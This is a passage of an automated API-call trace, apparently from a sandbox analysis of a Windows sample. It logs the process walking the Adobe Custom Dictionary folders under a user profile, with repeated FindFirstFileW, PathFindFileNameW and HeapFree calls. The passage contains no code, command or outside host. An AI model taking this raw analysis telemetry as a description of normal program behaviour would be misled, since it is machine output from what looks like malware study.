ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.683] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.683] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.683] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.683] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0115.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.684] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.684] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.684] PathFindFileNameW (pszPath="") returned="" [0115.684] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.684] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.684] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.684] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.684] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.684] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.685] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.685] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.685] PathFindFileNameW (pszPath="") returned="" [0115.685] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.685] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.685] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.685] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.686] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.686] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.686] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.686] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.686] PathFindFileNameW (pszPath="") returned="" [0115.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.686] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.686] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.687] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.687] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.687] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.687] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.687] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.687] PathFindFileNameW (pszPath="") returned="" [0115.687] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.688] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.688] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.688] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.688] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.688] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.688] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.688] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.688] PathFindFileNameW (pszPath="") returned="" [0115.688] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.689] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.689] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.689] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.689] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.689] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.689] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.689] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.689] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.689] PathFindFileNameW (pszPath="") returned="" [0115.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.690] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.690] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.690] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.690] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.690] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom 